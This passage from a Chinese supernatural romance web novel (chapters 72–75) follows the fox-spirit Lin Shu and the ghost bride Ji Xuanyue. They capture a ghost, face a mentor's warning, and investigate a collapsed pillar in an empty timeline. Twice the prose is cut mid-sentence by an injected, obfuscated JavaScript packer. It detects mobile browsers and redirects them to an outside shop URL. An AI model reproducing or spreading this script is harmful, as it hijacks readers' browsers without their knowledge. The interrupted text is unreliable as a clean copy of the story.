林疏了然：“那就对了，她一直在你公司里，我猜是你放在公司什么东西，让她无法离开，除了这个相框，你还保存了什么她的东西吗？” 冯老板面带不悦，但还是缓缓拉开抽屉，取出了个红色缎面的长条盒子：“我……留了一缕她的头发。” 林疏道：“或许是它吧，我想在你办公室用一张符，可以吗？” 冯老板挣扎了一下：“不行，会引起消防警报的。” 林疏笑道：“不是用烧的。” 天狐灵力绘制成符，落在那长条盒子上，林疏取得了头发主人的气息，施了个法决，将头发的主人锁定了。 接着，他通过项圈感应到姬悬月，察觉姬悬月已经抓到了逃逸的女鬼，便使用了召唤，将姬悬月和女鬼一同拉了回来。 女鬼茫然四顾，看到身后的冯老板，神色动容。 72. 第 72 章 林疏已经掏出锁灵瓶，冷酷地将女鬼装了进去。 旁边的冯老板狐疑道：“你装的什么？” 林疏理所当然道：“你老婆。” 冯老板：“……” 林疏本想直接把女鬼带回去审讯，但看着冯老板那一脸不信的表情，再加上这桩案子未必在此结束，他以后可能还要来拜访这位地中海豪杰，也不好把人得罪得太狠—— 便只好随手给冯老板开了天眼，然后开始审讯女鬼。 “死者报上名来。”林疏道。 女鬼蹲在瓶子里讪讪道：“孙小娟。” 林疏道：“为何作祟？” 女鬼狡辩道：“我没有！我只是被困在这里不得离开！” 林疏道：“为什么缠着许颂江！” 女鬼：“……” 冯老板：“……” 冯老板哀怨道：“你果然移情别恋了！你这个花心的女人！” 女鬼理直气壮：“我没有！我爱的人始终是你！” 冯老板都快哭了：“那你为什么从来不缠着我！” 女鬼翻个白眼：“您都四十八了！你看你那啤酒肚，那地中海，那大黄牙！我拿什么爱你！我只是死了，又不是瞎了！” 冯老板：“……” 女鬼羞涩道：“我也不是多喜欢小许，就是觉得他跟你年轻的时候，还挺像的。” 冯老板：“…………” 如果话语能有实体，冯老板此时已经被万箭穿心。 林疏回想清瘦俊秀、头发茂密的许颂江，再看看大腹便便的地中海冯老板，顿时有点不信。 “请问，有没有……”林疏措辞了一下，“呃，您有没有年轻时候的照片，借我看一眼？” “……”冯老板郁卒地低头翻了一会儿手机，吸吸鼻子，找出了他翻拍的家里墙上挂的旧时的结婚照。 林疏定睛一看，原来冯老板青葱年少的时候还真是个清秀的小伙子，乍一看，确实跟许颂江有几分相似。 于是基本问题都确认完毕了，剩下的就交给女鬼收容处了。林疏将封印女鬼的瓶子盖得严严实实，系在腰间，礼貌朝冯老板拱拱手：“事情办完了，我走了。” 冯老板还没从巨大打击中回过神来，这小天师就带着他老婆走了。 林疏带着姬悬月一同离开了载舟科技，还没走几步，身后传来冯老板的吆喝：“且慢！等等！小娟！小娟！” ……林疏顿时加快了脚步。 姬悬月飘在他身边，听见冯老板的吆喝声忍不住问道：“他老婆缠着别人，是不是真的不爱他了？” 林疏道：“不晓得，理论上讲应该是爱吧，她缠人都挑和冯老板年轻时候像的。” 但这个话题似乎有些敏感了，林疏说完这一句之后，就没再说话。 哪怕昨天曾经那样热烈地拥吻过……林疏却一瞬间想起，自己曾梦到和穆绍棠互换信物，这些年找到的“与亡夫神似”的男人也都和穆绍棠挺像的。 林疏有点心里没底了。 回到灵调局后，林疏把女鬼交给小纪拍照留档，然后送去给女鬼收容处。 他突然想起自己和姬悬月初见的那天，他也是这样押送着鬼新娘来到档案室拍照。 不过……他记得那天为了糊弄小纪，他谎称姬悬月“与亡夫神似”。 于是走在楼梯间里，林疏突然扭头问姬悬月：“你不是早就知道，我是因为你与亡夫神似才带你走的？你不生气吗？” 姬悬月坦然地眨了眨绝美双眼，道：“没错，知道，但后来我想通了，都‘亡夫’了，证明他骨灰都已经扬了，我跟他计较做什么？” 楼梯间有监控死角，林疏便大着胆子将姬悬月推到墙角，指尖注入一丝灵力使姬悬月短暂获得了实体。 狡黠的小狐狸凑近了美貌的鬼新娘：“你完全不介意我找了一堆长得和穆绍棠像的‘神似亡夫’？” 姬悬月摇头：“不介意。” 林疏道：“那你也不介意我们曾经互换信物吗？我梦到我把一枚非常贵重的玉佩交给穆绍棠，而他回给我一个亲手雕刻的小鱼。” “……啊？”姬悬月的大脑宕机了。 林疏见姬悬月这个反应，顿时别扭起来：“你果然介意吧！” 他就知道！不管是谁都会介意的！！！ 而姬悬月已经不敢置信地问道：“玉佩？木雕的小鱼儿？” “？”林疏登时傻眼“你怎么知道是木雕？” 姬悬月：“？” 林疏：“？” 姬悬月一口气差点喘不上来：“我跟穆绍棠的定情信物，也是一个木雕小鱼。” 林疏：“……” 穆少爷，您这是广撒网吗？给所有情人的信物都一个样？ 姬悬月却道：“不，不对，我的记忆碎片有点乱，我只知道是他给的，我们互换了信物。但，小鱼是你交给我的。” “？”林疏更加茫然，“跟我有什么关系？你什么时候有的记忆碎片？你想起前事了？” “……”姬悬月一不小心说漏嘴，只好和盘托出，“我去过一次九龙千年柱，在摸到柱子的时候，回想起来了一些。还有在回到民国的那次，我做过一个梦，梦见我在桥头等你，你扑进我怀里之后，递给了我那个木头小鱼。” 林疏：“……？” 姬悬月却追问道：“你的那个木头小鱼长什么样子？” 林疏茫然皱眉，拉开姬悬月的手，在他掌心大概描画了一下：“这么大，尾巴翘起来，身上的鳞片很清晰。” “……”姬悬月道，“就是你给我的那个。” 林疏：“……” 姬悬月道：“他给你的木头小鱼，你又给了我，我给你的玉佩，你却给了他，林疏，你还不明白吗？你只是个传话的。” 好混乱，贵圈真乱，我未成年，我听不懂。 林疏艰难道：“可是……梦里穆绍棠看我的眼神……真的很奇怪。” “？”姬悬月问道，“什么眼神？” 林疏痛苦道：“你还记得穆迎秋看你的眼神吗？” 姬悬月：“……” 林疏无奈道：“看来只能等恢复记忆之后，才能知道当年到底发生了什么。” 话题暂时结束，在这里说话终究不方便，林疏便收回了灵力，带着姬悬月老老实实下楼，回自己办公室去。 但刚回到自己办公室所在的走廊，林疏闻到一股熟悉的人味儿，顿时就慌了。 姬悬月：“怎么了？” 林疏迅速从口袋里掏出两张大钞，塞给姬悬月：“你出去买点水果吧，开坛要用，记得买便宜但卖相 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林疏马上认错：“是我犯糊涂，师娘都是为我好。我会改正的，帮助别人不一定要用这种方……呃，师父？” 顾煜城递了个红包过来，红包封面上写着百年好合。 林疏：“……” 顾煜城道：“没别的给你，好歹一日为师终身为父，你找到归宿，我应该给你封点嫁妆。” 林疏战战兢兢接过红包，打开一看，里面是张存折，他大概数了一下，“6”的后面有六个零。 林疏顿时整个狐狸都不好了，这是嫁妆吗？这是给点钱扫地出门了吧！师父师娘是不是不要他了啊！！！啊啊啊啊啊啊啊啊！！！ 顾煜城随即问道：“我相信你做出决定的时候已经想过结局了，今天来还有件事，就是问问你，你是怎么想的？” 林疏强行薅出下了线的理智，努力用正经的语气道：“我想过，姬悬月背后的案情很复杂，我会想办法帮他查清真相，到时候如果他能看破，我就陪他洗清罪孽、积攒功德。如果他看不破，仍旧执念，他会在天罚之下灰飞烟灭，到时候，我就继续一个人生活。” 顾煜城点点头，道：“想得还算全面。” 林疏听见顾煜城这么说，却只觉得头皮发麻。 顾煜城道：“穆家背后的事，我查了一点，作为师父，我可以负责任地告诉你，他的结局大概率是神魂俱散。” 林疏讪讪道：“是的，我做好了心理准备。现在他还在，我们可以……活一天算一天，只争朝夕。” 顾煜城道：“他神魂俱散之后，你打算如何？想过没有？” 林疏感觉自己活像是毕业答辩……只得按部就班道：“我会像他出现之前一样，把故去的人放在心里活着。我之前就是这样，还有老赵……赵潜州也是这样。” 顾煜城说：“那不一样，小狐狸。” 林疏怔住了。 顾煜城笑了笑：“唐疏只是涅槃了，他始终还会回到这世间，他已经给赵潜州铺完了所有的路，赵潜州现在几乎是永生的，只要他能坚持那个信念，他总有一天会重新见到唐疏。而之前的你——你如何数年如一日地满世界寻找转世的亡夫，还用我帮你回忆吗？” 73. 第 73 章 林疏不说话了。 顾煜城道：“你要比例子，得看你师父我。” 林疏怔怔抬头，看顾煜城的脸。 这位年轻的灵调局局长，模样看起来至多三十岁上下，身姿矫健而挺拔，面孔英俊又深邃，虽然因为伤病脸色有些苍白，但眼眸炯炯有神，笑容温和又不容置疑，看起来精力充沛。 但林疏知道，眼前这人也有颓丧的时候。 虽然他只是听说，没细问过，但他知道顾煜城曾经如没有感情的机器人一样。还是个冷冰冰的不好说话的工作机器人。 顾煜城道：“你知道那十年吗？” 林疏点点头。 顾煜城曾经失去过林聆，失去了十年。 顾煜城道：“你知道我等了林聆十年，但你不知道，你师娘他本来是回不来的。” 林疏愣愣的，他从未听顾煜城讲起过去的事。 顾煜城沉入回忆，沉思片刻却笑了：“他当年并没有死去，只是沉睡，但我完全不知道他什么时候能醒来，只知道他醒后，一定是一个陌生人。不管醒来的人是谁，都不会记得我，他都不会再是属于我的林聆了。” “我能怎么办呢？”他如自言自语一般，“我只能当他死了。我照顾他的妹妹，努力收拢顾家，成立灵调局。我按部就班做着我应做的每一项工作，守护华夏大地所有的龙脉。但我也知道，我的林聆永远回不来了。” 一边说着，顾煜城从口袋里再次取出了那条缚灵丝带，慢慢地编织：“那十年里，我每天除了睡觉，没有一分钟是闲下来的，我睡觉甚至连梦都不敢做，可是那十年，我每分每秒都在想林聆，甚至在拿着剑跟九婴死斗的那天，刀光剑影间，我下一秒就要被那家伙把头咬掉了，我脑海中浮现的居然是林聆为我缝校服袖子的画面。我有时候恨不得去死，就可以不再想他。” 说着他又看向林疏，笑了：“要不是肩头的责任，我早就去死了。我那时候培养了三个接班人接任局长职位——赵潜州，苗织凰，还有没失去记忆的你。我本来打算，等这摊子事可以丢给别人之后，我就去死。没有林聆我一分钟都活不下去，我是个人，尚且如此，而林疏，你是天狐，天狐是能玩转时间和记忆的神兽，天狐是永不会真正失忆的，你忘记了那个名字，也忘不掉刻骨铭心的痛苦，不是吗？” 林疏不知道该如何回答。 顾煜城温和地问道：“你，愿意过这样的日子吗？怀揣着永远失去爱人的、枯竭的心，不是十年，是贯穿你修仙之途、一直陪伴你位列仙班，与天地同寿，到与天地同死的那天为止，所有的以后。” 林疏深吸了一口气，他的确从没有想过这种可能。 如果姬悬月彻底灰飞烟灭，他将永远只能记着这份痛苦和遗憾，来熬过千百年的岁月。 想了很久，林疏缓缓道：“如果我现在收回我的感情，那么我就是从此刻起，乃至所有的以后，都活在这样的痛苦中。师父，哪怕我们只剩三天、只剩一天，但我真的愿意。” 顾煜城却没有生气，也没有什么别的反应，只是笑着点点头：“你想明白了就好，林聆拿你当他的孩子，所以会想替你做决定，但师父知道，无论失忆前还是失忆后，林疏都是这样坚定的一个人。” 说完，顾煜城将歪歪扭扭的缚灵丝带随手毁了，起身，头也不回地离开了林疏的办公室。 林疏缓慢地吁了一口气，坐回了凳子上。 或许他对姬悬月没有那么深的感情。 但在“放手退回朋友之后”和“千百万年的寂寞”之间，他居然肯毫不犹豫，就选姬悬月。 …… 而在林疏不知道的另一边，灵异案件协助调查办公室的林聆桌前，姬悬月一脸的认真：“我句句都是肺腑之言，希望林主任能帮我，也帮帮林疏。” 林聆一手支着下巴，另一手在文件上涂涂改改，听完了姬悬月的话，他轻笑了一声，温和道：“你以为忘记的人就不会痛苦了吗？我可以帮你做这件事，但必须在你和林疏商量完之后。是的没错，他必须知道你今天对我说过什么，三天之内。否则我亲自去告诉他。” 姬悬月倒是已经想过这种可能，也没反驳，只是说了句知道了，然后起身道别离开。 在离开的走廊上他碰见了迎面走来的顾煜城，顾煜城脸色不太好，但见着姬悬月，还是很温和地笑了一下。 姬悬月停下，想跟他说些什么，但顾煜城笑容温和，不代表他心情很好，他甚至都没多看姬悬月一眼，就推开灵协办的门进去了。 姬悬月回到林疏办公室后，就看见林疏坐在办公桌前抱着臂，一副很严肃的样子。 姬悬月心中其实也十分沉重，但他还是换上灿烂笑容，道：“怎么这副表情？你跟顾局都说了些什么？” 林疏严肃地抬头，严肃地对他招招手。 姬悬月心里没底，但还是老老实实过去了。 林疏却凑近了他耳根，低声道：“姬悬月，我们做吧。” 姬悬月：“？” 林疏滚热的呼吸落在他黑色项圈上，虽然他是鬼，但颈部的皮肤也很敏-感，姬悬月觉得自己仿佛都起了些鸡皮疙瘩。 他低头看林疏，就见小狐狸的眼中澄澈坦然，仿佛刚才的虎狼之词不是出自自己的口中。 “过几天要去鹑城出差，择日不如撞日，”林疏又强调了一遍，“我们做吧。” 五点半，林疏匆匆打卡下班。 全灵调局的人都觉得林疏今天的表情有点深沉。 虽然大家猜测应该跟顾局林主任夫夫棒打小情侣有关……但执风道长和鬼新娘还是你侬我侬地骑同一辆自行车走的。 于是他们又觉得自己……好像猜错了。 在回家的路上，林疏去无人售货店逛了一圈，买了些作用比较独特的用品，期间满脸的正气，仿佛要拿着那些不和谐的小东西去拯救世界一般。 到家后，林疏先去冲了个澡，出来时，已经抹除了画皮，变回自己白发狐耳的法相。 姬悬月还没完全反应过来林疏到底要做什么。 直到林疏拉着他的手，贴在了自己锁骨下方，最温暖的地方。 姬悬月感觉到自己手心之下，是有力跳动着的心脏。 林疏道：“今天师父问我，愿不愿意在你死后忍受千百万年的思念和寂寞。我想了想，居然是愿意的。如果这件事一定要做好准备才可以，那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883422|192007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在我做好准备了。” 姬悬月瞬间懂了林疏的意思，眼神幽暗起来。 林疏还在等姬悬月拉灯，姬悬月却突然道：“我不愿意。” 林疏：“？” 姬悬月低声道：“我没有去买水果，我去找了你师娘，请求他一件事。他说，一定要你同意，他才同意帮我。” 林疏警觉道：“什么事？” 姬悬月还未开口，林疏的手机突然咆哮起来。 林疏：“……” 他怒不可遏冲过去拿起手机……发现是苗姨来电。 林疏瞬间火气全消，毕恭毕敬接起电话：“苗姨，你找我有事？” 苗织凰的大嗓门如炮仗一般：“九龙千年柱塌了！你师父师娘已经先去了，那边的结界人手不够，还得疏散附近群众！灵调局驻鹤城在职员工全部加班！速来！！！” 林疏：“……” 林疏瞬间披上画皮，道袍一抖就披在肩上，回头对姬悬月道：“九龙千年柱塌了！” 姬悬月：“……” 虽然很紧急，但他却好像松了口气。 刚才逼迫自己开口的勇气在那一瞬间全都消退了，他忙道：“那我们快去！” 两人赶到现场，就发现九龙千年柱周围停了好些警车，警察们正在焦头烂额地疏散附近村落的居民。 林疏出示了工作证，挤进去一看，九根石柱所在的小广场已经全部塌陷，鹤城灵调局数十名在职的神佛正在维护结界，看到林疏后，或者说……看到他身边的姬悬月之后。 他们的神色却瞬间变得很复杂。 林疏顿时有种不祥的预感，他挤进最前排，低头往那塌陷的坑里一看…… 里面有一具血红的棺木，里面躺着一个，凤冠霞帔的——男人。 ——姬悬月。 这九龙千年柱不知是什么地气，温养得姬悬月的尸身面色如生，仿佛睡着了一般。 而林疏紧急嗅了嗅，发现原本在此的血煞怪已经消失无踪。 那么姬悬月的尸体埋在九龙千年柱下，与血煞怪相处了这么久，一定有了极大的怨气。林疏回头看姬悬月，却发现他神色还算正常。 没有受到这里地气的影响么…… 林疏正思考这件事，头顶的阵法中却突然传来一个疑惑的声音：“小狐狸？你怎会到这里来！” 林疏马上抬头道：“苗姨打电话给我说今天加班！我可以帮忙踩阵眼，师父你……” “林聆！”顾煜城却焦急万分，“送他们走！” 巨坑对面的林聆咬着牙，抛出一条非常长的缚灵丝带，将猝不及防的林疏和姬悬月一缠，然后晶莹的沙漏一转—— 林疏和姬悬月眼前时空如万花筒一般流转，片刻之后，竟然…… 林聆竟然将他们送到了…… 好吧，完全不知道是哪一年！！！ 林疏风中凌乱了，他四处转了转，周围已经完全没有大阵，也没有九龙千年柱，他甚至不知道自己还在不在鹤城。 但紧随其后的是九龙千年柱塌陷背后的隐情，林疏知道这件事一定非同小可，为什么他带着姬悬月来到九龙千年柱会让顾煜城那么焦灼？ 74. 第 74 章 打电话让他们来的人是苗织凰……真的是苗织凰吗？ 还是说……连苗织凰都是对方计划中的一员？ ……话说当初穆家老宅的幻境里，晚上他曾和姬悬月一同被装进棺材里运走，难道就是运到了九龙千年柱掩埋？ 穆家要做四煞千年柱，果然是要用姬悬月来制造“血孽厉鬼”，可是穆家为什么要这么做？四煞千年柱是害人害己的格局，如果真的做成了，那才是让穆家断子绝孙，一家都惨死。 林疏正这般想着，回头去牵姬悬月的手。 就发现姬悬月的身体还是冰凉，并不似上次回民国时候一般温暖。 这是什么时空法则？ 难道上次姬悬月恢复人身，与沙漏无关？ 林疏说不清楚，姬悬月也搞不明白，二人牵手四顾，发现这里是一条非常现代化的马路。 ……昨天散步走过的马路。 是的没错，天上的月亮，角度都一样。 难道林聆是将他们送回了……昨天？ 林疏：“……” 沙漏动用一次为什么回这么近的时间线啊！ 难道是要他们两个，改变过去？可沙漏只是复制时间线…… 然而环顾四周后，林疏随即想起来的，却是他们两人在这条路上亲得难解难分的场面…… 再想起来“加班”之前两人正要做的事，林疏的脸一下就红了。 姬悬月很显然也想起了这一点，他张张口，最后还是道：“……现在这个场面，说昨天好像有点不合时宜。我们还是想想，接下来是不是应该想办法回去帮你师父和师娘？” 林疏脸上还有点别扭，努力正色道：“那个……去灵调局找找办法吧，看看能不能找到溯回沙漏，再倒转沙漏回去。” 两人脚步一转，朝灵调局走去。 但一路上，他们发现哪里都不对劲。 这个时空特别安静。 去灵调局的路上没有人，也没有在动的汽车，林疏在十字路口看到了不少熄火的车子，驾驶室里都没有人。 不，不止这里，整座城市，无论哪里都没有人。 鬼蜮一般。 林疏不免有些惊惧，还好有姬悬月陪在他身边。 一路上，他尝试了给林聆和顾煜城打电话，但是他的电话卡不知道为什么没有信号，手机也上不了网。 ——灵调局也空无一人，别说人了，神也没有。 林疏大着胆子把林聆和顾煜城的办公室都翻了一遍，成功偷到了这二位的灵钥。 灵调局地下三层中，一层是藏宝库，存放各种法宝。 一层是收容处，容纳各种锁灵瓶，里面封着他们抓回的妖魔鬼怪。 还有一层，林疏也没进去过，不知道是做什么的。 这三层，都需要林聆的钥匙+顾煜城的钥匙+对应部门的手令，运用纯净的灵气驱动灵钥，才能打开，为的是防止邪魔外道用怨气邪气来入侵宝库。 好在这个时空里没有“部门”负责人了，林疏用偷来的钥匙就可以进入地下室，但他习惯性运起灵力开门后，却怔住了。 他损耗的灵气，并没有随着体内的灵力运转而得到补足。 这个时空，已经没有灵气了吗？ 接下来，林疏翻遍了藏宝库，都没有找到“溯回”沙漏。 好奇心驱使林疏又往下走了一层——收容处的门锁里，林疏倒是嗅到了一点淡淡的怨气——或许妖魔鬼怪都还在。 再下一层，却好像什么都没有。 林疏不是那种好奇心过重的人，他的灵气有限，不能乱用，既然察觉不出里面有什么，他也就不看了，拿着钥匙先跑了。 接下来大逆不道的林疏又带着姬悬月去了顾煜城和林聆的家。 顾煜城的房子比林疏租住的房子稍大一点，两室一厅，但家具非常少，有数的温馨布置也都出自林聆之手。 ……然而林疏甚至把林聆和顾煜城私藏在床头柜的小玩具都翻出来了，也没找到溯回沙漏在哪里。 难道这个时空没有溯回沙漏？ 林疏站在师父师娘家空旷的客厅里，托腮沉思。 他的记性算不上好，也没有很差，但这些年看过的书太多，此时要用，反而要在大脑的“书库”中调集一会儿。 姬悬月就在一旁，静静陪着他。 林疏不断在脑海中假设和推翻——这里是沙漏复制的时间线，但全城无人，如同鬼蜮，也没有第二个沙漏来做出口，而且毫无灵气。这会是什么情况？ 林疏一边思索，一边本能地抬头看了一眼客厅的钟表。 然后他怔住了。 不，不对，表停了，为什么会停？ 林疏马上掏出手机，他记得很清楚，他方才尝试上网和打电话都失败了，而那时候的时间不到19点半。 林疏按亮手机，发现，电子屏幕上的数字，是19:23。 这当然不可能，他们在这座城市里行动了那么久，翻遍了灵调局，又翻遍了林聆家，时间怎么可能还是19点23分？ 在什么情况下，全世界的人都会消失？而时间线会停止？ 林疏怔住，他想到了一种可能。 难道……这里复制的是一条毁灭的时间线？ 在平行时空的概念中，所有毁灭的时间线都会停止在毁灭的那一瞬间。因为这条时间线里，一切都化为了虚无，所以就算复制，也只能复制出一个空荡荡的“虚空”。 在这样的毁灭时空里，宇宙自转都已停止，“时间”的概念消失，灵气无法生生不息，太空中的卫星自然也会停止转动，信号传输消失，通话和网络便会断绝。 如果这里复制的是一条毁灭的时间线，那么…… 这世界是因什么而毁灭呢？ ……不，无论这个时间因什么而毁灭，都不是重点！ 重点是，林聆绝不会做没有用的事，他把他们丢到这里，绝不是单纯为了让他俩“别添乱”！ 林疏想起他和姬悬月来到之前，坍塌的九龙千年柱，当机立断道：“我知道该怎么办了！” 如果这是一条没有任何“活人”存在的时间线，那么，将是他们抛去伦理规则、进行肆无忌惮的调查的最好机会！ 活人虽然不在了，但他们留下的痕迹和线索，都是可以追查的！ 林疏马上土匪一般，顺走了师娘家里所有库存的符咒和法器，他带着姬悬月站 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姬悬月依稀记得上次在穆宅门口，林聆跟林疏说杀他的时候，曾经提到过这个“横公鱼之眼”，顿时十分好奇，但林疏只是虚晃一枪就迅速收起来了，完全不想给他细看。 金龙速度极快，他们很快就在九龙千年柱旁落地，林疏收了驭龙旗，同其他法宝放在一处，然后拿出了一根腿骨形状的法宝——这是夫诸的骨头。 夫诸是一种长着四只角的鹿，见到它的地方就会发大水，但是如果能在水灾之年拿到夫诸的骨头，用它可以快速挖通沟渠，疏通河道泄洪。 ……所以也可以用来挖土，林疏心说罪过罪过，然后用它将九龙千年柱脚下的小广场整个翻了过来。 在这个没有活人的时空里，施工变得非常简单——小广场的砖瓦可以随意堆放在一旁，不用担心会阻隔交通，于是林疏负责挖，姬悬月负责堆放。 而用夫诸的骨头挖土又十分迅速，数分钟后，林疏就重现了他和姬悬月被送走之前、九龙千年柱塌陷后的模样。 ——漆黑的棺木躺在坑底，安安静静，显得十分诡谲恐怖。 那是姬悬月的棺材。 林疏后知后觉，带着姬悬月来刨他自己的坟……好像是不太厚道。 但姬悬月浑然不觉，他直接跳下去，大力掀起了棺材板，与棺中自己的尸体冷冷对视。 林疏：“……” 他便也跟着跳下去，蹲在姬悬月身边，与他一同看着棺木中面色如生的尸体。 棺木中的姬悬月脸色苍白，但皮肉弹软，双手交叠身前，指甲已经长了十几寸长，头发也茂盛如初。 倒衬得一旁T恤长裤、银灰发色的大帅哥像个活人一般。 林疏道：“这里的地气不简单啊，你看，你的尸骨一点防腐措施都没做过，却保存得这样完好。” 姬悬月盯着棺材里的自己，却莫名觉得荒谬。 他认真道：“只是不知道当年他们把我埋在这里，究竟是想干什么。” 林疏想起自己还没跟姬悬月科普过，遂道：“你知道四煞千年柱的风水局吗？” 姬悬月摇头道：“只听你们说过这个名字，不知道具体。” 75. 第 75 章 林疏便道：“四煞，即为妖、魔、鬼、怪，将他们四者凑齐，献祭于石柱上，可以将煞气引入石柱地底，保此处地气千年不败。” 姬悬月道：“我是四煞中的那个‘鬼’？” 林疏点头道：“没错。到目前为止，食人魔，血孽鬼，还有之前一直躲在地底的血煞怪，都已经出现了。那么你猜猜，那个‘妖’会是谁？” 姬悬月便看向林疏，与他带笑的清澈眸子对上。 林疏笑着道：“没错，他们的目标其实一直是我。现在这个时代，已经没有动物可以再成精了，唯有我们这些先天神兽亘古不灭——只要我用神兽之力伤人性命，就会堕落为妖。” 姬悬月低声道：“所以……他们一次一次，是想诱你出错？” 林疏点头。 姬悬月沉思片刻，道：“或许这就是你师娘一直让你置身事外的原因，以及……送你来此的原因。” 林疏却突然问道：“你还没有告诉我，你想让师娘做的那件事是什么？” 姬悬月沉默了。 过了一会儿，他却转移话题道：“我们查到此处，其实已经知道了背后之人就是穆家，为何我未见你有‘破局’的意思？” 林疏知道姬悬月不正面回答就一定有猫腻，但此刻时间都停滞了，他也不急在一时，反正有的是时间逼供。 他就笑了：“是啊，因为我越查越迷惑，做局的人有什么目的呢？他到底知不知道这风水局是用来干什么的？” 姬悬月从善如流：“这风水局不是用来保地气不败的吗？” 林疏露出个诡异的笑容来：“是啊，但是你猜猜，这个‘地气’指的是什么‘气’？” 姬悬月联系了一下前言，不确定道：“难道是死气？怨气？煞气？” 林疏点头：“没错，是死气。” 姬悬月难以置信：“……死气能保家宅平安吗？” “……”林疏挠头，“你要硬说的话也能，这风水局一般用于以煞镇煞，是用煞气来冲死人，产生的死气作用于老祖宗，用老祖宗的不得安宁，来保自己家宅平安。” 姬悬月：“……真是大孝子。” 林疏紧接着道：“所以，这风水局如果布在祠堂前面，或者祖坟前面，用作阴宅明堂，当然没任何问题。但是布在阳宅的‘明堂’上，只会让全家门庭败落、死于非命。” 明堂是风水中的一种术语，通常指阴宅、阳宅的地穴前，一定范围内的空地，或平台。 林疏曾经测算过，穆家和九龙千年柱的格局就像小紫禁城和它的华表，在这种格局之下，九龙千年柱就相当于穆宅的“大明堂”。 在这里布置四煞风水局…… 可不就是给全家找死吗？ 林疏甚至怀疑，这是什么心术不正的风水师故意要害穆家人，才整出来的风水局。 但这风水局不算十分罕见，但凡穆家稍微找人问一问，就知道这局是做什么的了，怎还会费尽心思用这么多年的时间去布局？ 然，一直有人在跃跃欲试想做四煞千年柱，哪怕穆家都败落了，仍旧没有放弃。 这让林疏反而不敢轻易断言对方的目的。 如果四煞千年柱真的有他认知以外的作用呢？ 风水术并不是林疏的老本行，若说到风水……整个灵调局最擅长的人其实是故去的唐疏。 但人都死了，总不能挖出来让他继续干活，这是不符合劳动法的。 半吊子林疏只恨自己这二十四年不学无术，不能潇洒地在喜欢的人面前出风头……好吧，是不能潇洒睿智地参透其中的奥秘。 然而姬悬月好像没有察觉到林疏的心里没底，他伸手，轻轻抚摸了一下自己尸身的胸口。那烛台造成的伤口的部位。 一些记忆的碎片就顺着那道伤口，流淌进了姬悬月的脑海中。 他闭着眼睛感受那些记忆，轻声道：“……这么多记忆的碎片……却始终没有一片，让我感觉到自己是个活人。” 林疏笑道：“毕竟你已经死了啊。” 姬悬月摇摇头：“我说的是活着的感觉、活过的感觉。那些记忆碎片非常冰冷，甚至比不上在你身边的日子。” 林疏望着这一幕，突然道：“对啊，我们可以去找那对烛台了！” 如果这个时空里没有活人，岂不是说明穆迎秋和穆迎松也不在了？也就是说，这两个家伙曾经用来“钓鱼”的烛台，现在正处于无人看守的状态！ 林疏精神振奋，立即就想去找烛台。 但他刚往前走了半步，就不小心踩到了什么东西，那东西硬硬的，似乎朽掉了，被他一踩，发出断裂的声音。 林疏：“……”他不会是踩到别的什么棺材板了吧！ 难道姬悬月还跟什么人合葬了？ 他赶忙低头去看，但现在天已经黑了，林疏只看见乌漆嘛黑的一片，便擦亮了手心的狐火，当做照明，猫腰细看。 似乎是个木头的盒子……已经被林疏踩了个大窟窿。 林疏不敢乱摸这玩意，便从袖子里取出一把桃木剑，弯腰谨慎地刮了它一下。 是一个四四方方但非常薄的扁盒子，里面能装什么呢？ 像是用来装……画框，相片。 林疏心里开始打鼓，他慢慢把它用桃木剑拨过来，并招呼了姬悬月两声。 姬悬月马上过来陪他一起查看，两人小心翼翼刮去了扁盒子上的泥土，盒子露出两个已经被泥灌满的锁扣。 姬悬月伸手去开锁，林疏就给他照着亮。 吧嗒一声，锁扣脱开，姬悬月挡在林疏身前，慢慢掀开了盒盖。 他露出意外的神色。 林疏见姬悬月神色不对，他面露茫然，用指尖狐火去照，然后也愣住了。 盒子里是一幅约20寸大小的油画，但画上的人，林疏见过。 是一张让林疏感到十分意外的面孔。 ……他和姬悬月一路上接触到的有关油画的线索也很多了，无论是食人魔玛丽亚王后，还是云途酒店走廊上挂着的民国时温少爷的作品。 但林疏从没想过，居然会在画上见到这张面孔。 他甚至在脑子里仔仔细细对了半天，才对上这女人的名字。 苏珊娜。 那个在西洋女校门前，跟顾临打了招呼，并送给他温丽雅练习作“蓝玫瑰”的，金发的女仆：苏珊娜。 之所以能想起这个名字，不光是因为这幅画上的女人也是金发碧眼、穿着洋装。 还因为画的最下方，署着一行字： Susana——b ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883424|192007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' y温丽雅. 温丽雅所绘的《苏珊娜》在九龙千年柱底下——这是一个非常非常诡异的线索。 林疏蹙眉，下意识点燃了一张溯灵。 ……溯灵给他展示了血煞怪从画中蒸腾出去，迅速逃走的场面。 《苏珊娜》是血煞怪。 林疏傻了眼。 如果这幅画是血煞怪，证明，苏珊娜并不是活人。 因为“怪”乃是死物生怨而成。 ……但同为油画，为什么玛丽亚成了魔，苏珊娜成了怪？ 两幅画的作者分别是温少爷和温丽雅，这两者作画，有什么不同？ 作画者都是温家人，难道要做“四煞千年柱”害穆家的人，是温家？ 穆家做四煞千年柱，是被温家怂恿吗？ 但穆家败落在先，温家兄妹画画在后，倒不像是要做风水局诅咒穆家，倒更像是……继续前人未竞的事业。 温家和穆家是什么关系？他们为何要在穆家的大明堂上做这样的风水局？ 难道，这中间有什么世纪老牌恩怨？ 